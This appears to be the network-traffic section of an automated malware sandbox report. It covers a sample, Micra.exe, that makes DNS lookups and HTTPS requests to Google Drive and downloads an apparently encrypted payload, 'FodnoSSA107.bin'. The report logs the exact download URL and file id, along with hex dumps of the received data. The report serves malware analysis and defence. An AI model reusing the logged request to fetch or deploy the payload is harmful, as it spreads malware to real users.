Oct 30, 2024 12:43:02.990921021 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:02.993402958 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:02.993489027 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:02.993516922 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:02.993591070 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:02.996171951 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:02.996253014 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:02.996280909 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:02.996413946 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:02.998999119 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:02.999089003 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:02.999095917 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:02.999166012 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.001652956 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.001738071 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.001756907 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.001830101 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.004323959 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.004412889 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.004436016 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.004512072 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.007080078 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.007164955 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.007174015 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.007239103 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.009777069 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.009869099 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.009886980 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.009957075 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.014122009 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.014209986 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.014216900 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.014283895 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.014720917 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.014811039 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.014847040 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.014925957 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.017335892 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.017420053 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.017426968 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.017493963 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.019860983 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.019944906 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.019973040 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.020041943 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.022396088 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.022480965 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.022486925 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.022557974 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.024890900 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.024974108 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.024993896 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.025064945 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.027395964 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.027484894 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.027491093 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.027559042 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.029771090 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.029869080 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.029875040 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.029958010 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.029963970 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.030046940 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.032216072 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.032303095 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.032309055 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.032392025 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.034627914 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.034718037 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.034733057 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.034800053 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.037292004 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.037374973 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.037391901 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.037461996 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.068633080 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.068784952 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.068790913 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.068896055 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.068960905 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.068969011 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.068979979 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.069068909 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.069124937 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.069133043 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.069253922 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.069255114 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.069283962 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.069367886 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.069375038 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.069453001 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.069783926 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.069845915 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.069883108 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.069936037 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.069992065 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.070046902 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.070070982 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.070116997 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.070157051 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.070215940 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.070730925 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.070781946 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.070843935 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.070897102 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.070926905 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.070967913 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.071012020 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.071063995 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.071100950 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.071144104 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.071183920 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.071237087 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.071711063 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.071764946 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.071825981 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.071872950 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.071913004 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.071954966 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.072001934 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.072053909 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.072082043 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.072125912 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.072715044 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.072771072 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.072803974 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.072849035 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.072889090 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.072938919 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.073168993 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.073221922 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.073271990 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.073323011 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.073637962 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.073692083 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.073724031 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.073771000 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.078541040 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.078607082 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.078643084 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.078695059 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.079713106 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.079777956 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.079814911 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.079866886 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.081554890 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.081620932 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.081671000 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.081720114 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.083368063 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.083431959 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.083455086 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.083503008 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.085319042 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.085378885 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.085416079 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.085472107 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.087184906 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.087249041 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.087290049 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.087343931 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.089039087 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.089099884 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.089152098 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.089200974 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.091041088 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.091099024 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.091126919 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.091177940 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.092860937 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.092911005 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.092967033 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.093009949 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.094880104 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.094944954 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.094958067 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.095011950 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.096581936 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.096643925 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.096687078 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.096734047 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.098422050 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.098473072 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.098521948 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.098570108 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.100240946 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.100291014 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.100348949 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.100409031 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.102075100 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.102128029 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.102179050 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.102232933 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.103821039 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.103873968 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.103905916 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.103959084 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.103996992 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.104048014 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.104078054 CET	50003	443	192.168.2.4	142.250.185.65
Oct 30, 2024 12:43:03.104147911 CET	443	50003	142.250.185.65	192.168.2.4
Oct 30, 2024 12:43:03.104208946 CET	50003	443	192.168.2.4	142.250.185.65

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 12:42:57.401375055 CET	55616	53	192.168.2.4	1.1.1.1
Oct 30, 2024 12:42:57.408756018 CET	53	55616	1.1.1.1	192.168.2.4
Oct 30, 2024 12:42:58.781368971 CET	64658	53	192.168.2.4	1.1.1.1
Oct 30, 2024 12:42:58.789247990 CET	53	64658	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 12:42:57.401375055 CET	192.168.2.4	1.1.1.1	0xddaa	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:42:58.781368971 CET	192.168.2.4	1.1.1.1	0x1e9b	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 12:42:57.408756018 CET	1.1.1.1	192.168.2.4	0xddaa	No error (0)	drive.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:42:58.789247990 CET	1.1.1.1	192.168.2.4	0x1e9b	No error (0)	drive.usercontent.google.com		142.250.185.65	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	50002	142.250.184.206	443	2024	C:\Users\user\Desktop\Micra.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:42:58 UTC	216	OUT	GET /uc?export=download&id=1oy1LR6ySauupAi9qDWRVXnDK8AVMnjaS HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-10-30 11:42:58 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 30 Oct 2024 11:42:58 GMT Location: https://drive.usercontent.google.com/download?id=1oy1LR6ySauupAi9qDWRVXnDK8AVMnjaS&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-GudHj13UcBQrHVMsgmsVCQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	50003	142.250.185.65	443	2024	C:\Users\user\Desktop\Micra.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:42:59 UTC	258	OUT	GET /download?id=1oy1LR6ySauupAi9qDWRVXnDK8AVMnjaS&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-30 11:43:02 UTC	4917	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="FodnoSSA107.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 286272 Last-Modified: Wed, 30 Oct 2024 05:44:12 GMT X-GUploader-UploadID: AHmUCY2Fl2aEqqL1_BwBYTgldgYzSKO9DLBPkqumZpe67HQLKC8Rc7KYBk-q3X4-zMQvEPRrklPTobVaaA Date: Wed, 30 Oct 2024 11:43:02 GMT Expires: Wed, 30 Oct 2024 11:43:02 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=1+F9fw== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-30 11:43:02 UTC	4917	IN	Data Raw: 16 1c c0 b6 20 80 c7 78 83 7a e0 2e a2 0c 47 a3 47 5b b3 da 7c aa a9 d1 73 44 7b 2c ab 6b 0e 2a 6f f8 09 04 8e d5 a5 9d 6b 96 ca 3c cb 9b 62 8d e8 1f 95 b9 f8 18 86 5c ce 81 39 67 01 75 57 0c 90 a7 6e f6 df 53 40 33 90 cf 98 c3 64 ec 3d ef 3e fc f5 c1 bf 85 0b f1 5a 37 01 07 2d f9 44 7c f9 53 62 77 5f 12 61 66 59 98 52 47 b8 b5 8d c7 5b 93 a5 c6 32 54 15 5f a8 14 34 66 12 25 02 bd ef b0 7c 16 06 26 3f cd 67 c5 8e 3f 13 67 37 24 02 44 bf 66 30 3e f7 fb 67 93 1a ae ce b5 99 e8 5a 50 0f 78 42 51 bb c1 ed 66 d3 cd cd 9b fc 26 a7 05 b5 0c e3 d0 44 6f 36 29 bb 94 2c 57 58 f1 11 1d c6 d9 67 8d 5a 89 33 9c 2a 29 02 bf 70 6b 95 d2 da b0 25 89 01 54 f5 15 ff b7 a3 f3 f5 e5 a2 48 c2 74 4c e7 da 93 b5 cc e9 fd a5 5f 21 33 89 59 51 fe 49 54 f4 31 15 ee 61 0d c8 d5 79 Data Ascii: xz.GG[\|sD{,kok<b\9guWnS@3d=>Z7-D\|Sbw_afYRG[2T_4f%\|&?g?g7$Df0>gZPxBQf&Do6),WXgZ3)pk%THtL_!3YQIT1ay
2024-10-30 11:43:02 UTC	4867	IN	Data Raw: 99 62 c5 44 e7 a3 9a dc 72 5e 22 04 85 d6 b9 1e 04 84 73 ca 17 d3 d7 38 46 cd c4 07 f7 11 c1 f2 c9 41 dc fa 11 51 e4 0a 04 f2 e3 04 a2 ba 37 7e 16 22 37 95 cc b4 36 c3 f6 c0 3d 7d a9 9d b4 be c9 3d 4a 2b bc ef 9e c4 a2 4f 3a ab 08 00 a0 70 8f 14 81 12 bd bd 49 32 5f d0 4c 94 ce d4 ba a6 30 5f 76 e1 7b e2 c5 a5 6e cd 53 a7 65 63 b8 6c 08 66 d1 14 17 08 01 fe 53 a6 a2 96 74 ac 5c e9 dd 30 19 8f 24 aa 09 af fe 0b 48 f1 d9 7d d3 09 c2 0c 21 ee 64 4c 38 be d7 db 50 d8 93 e2 11 d7 a0 e3 c8 d2 05 1f 83 fa 73 e0 4d df 66 db 18 89 5e b2 bb cf ea 46 7e 34 6c 47 f7 a8 4e c2 e1 e3 a8 56 5b 47 7e 5f 8c 3e a1 6b 6c 7f 27 7d 20 54 b1 d7 56 77 fc 15 0e ab cd 3e 9a 4a 39 89 5d db d3 a2 9c 31 96 5e 77 2f ae 2a 2d 0c 84 aa a6 32 8c 95 a7 c7 9b 3c 0f 0f 18 da 16 a0 f0 7c b7 Data Ascii: bDr^"s8FAQ7~"76=}=J+O:pI2_L0_v{nSeclfSt\0$H}!dL8PsMf^F~4lGNV[G~_>kl'} TVw>J9]1^w/*-2<\|
2024-10-30 11:43:02 UTC	1320	IN	Data Raw: b5 29 c8 fa b4 a5 6b 23 e6 de a8 cc c5 c5 ae 1c ee 69 87 c9 6f 84 60 e7 1a d8 91 98 3f f8 c2 ca 59 51 44 23 40 f4 31 fe 9d 61 0d 84 57 80 83 17 34 0b 12 72 45 90 b5 65 0a 39 b5 ec ec 93 af 5d 99 17 9f 9d 90 f7 14 67 a4 92 68 70 f2 91 3e c8 d1 d1 a3 e8 e2 87 46 f9 50 48 97 b8 1e 70 6c 7e 9e 95 bf dd e0 42 fb 6d b1 c5 c9 c0 9c b6 ea b0 0d e5 a6 66 c2 c8 86 e2 b9 b6 40 9e 8a 7a c5 dd f0 e0 9e 7c e7 66 60 8d 58 4e 41 e3 48 2a 9c b4 cc 1a 88 f4 e2 cb 0f a5 62 b3 10 27 5b 98 d9 6c f7 b8 e2 ee f6 ad 25 64 5e 58 68 54 5e f8 44 68 fa 19 0b 46 ff 9e 3d e5 15 8e 0e fc a7 da ab de 0a 04 87 55 8f fe 3d 16 a5 77 8a c9 49 25 f4 30 b7 5e 5f 71 2a 74 df 70 bb 7a 7f 03 39 11 2d 1b e1 68 8f b9 b8 c7 47 b4 3e 68 c0 90 08 7c c0 81 96 5a 28 f5 ca 4d 4d 5a 1e 88 8e 82 d7 cf 8f Data Ascii: )k#io`?YQD#@1aW4rEe9]ghp>FPHpl~Bmf@z\|f`XNAHb'[l%d^XhT^DhF=U=wI%0^_qtpz9-hG>h\|Z(MMZ
2024-10-30 11:43:02 UTC	1378	IN	Data Raw: ce 91 75 3a e6 c3 7b 48 2b 6d e7 17 2c 2c fb d9 fe 27 12 39 ef 63 ca 50 6f be be c6 97 f0 b8 22 28 48 50 f3 bf 75 46 10 6b c5 67 85 01 8e fd dc c4 ff c3 39 92 00 a8 35 ca 43 9f 0b 15 66 ee 3d a9 64 43 f7 e9 97 ed 3f 9c 25 bd bb 1d 2f 4f c1 3b c2 a7 58 b6 b7 17 0f 86 91 e1 60 9d d9 85 eb de bb 76 32 a4 2d e7 93 0c 1b cf 7d 56 9e 6a 18 18 48 98 85 55 43 cc fd 62 c8 47 57 b8 d2 ca dd b5 04 96 28 21 49 67 1c 6a 81 11 2d 18 85 dc 60 6a b7 1b 41 6e ba fc 7e 52 5d d9 2c c7 6e dd 8d 92 ac 86 05 52 ba a3 8d 5b 03 3d 5c 66 7a f9 1c 67 da a2 d6 ee 2a e2 7f 97 d6 11 ff b3 52 b6 68 9b 8d 28 b3 9d 87 76 9e 03 71 39 0c 8d 28 22 23 dd 25 10 8f 7e 18 80 ad 06 6b b1 36 8c 0b ad 72 4b 75 a1 69 00 5c b1 43 0f a0 2d 9d e4 79 ce 32 69 6a 35 07 0b 20 30 42 91 4a 51 7b 60 f1 94 Data Ascii: 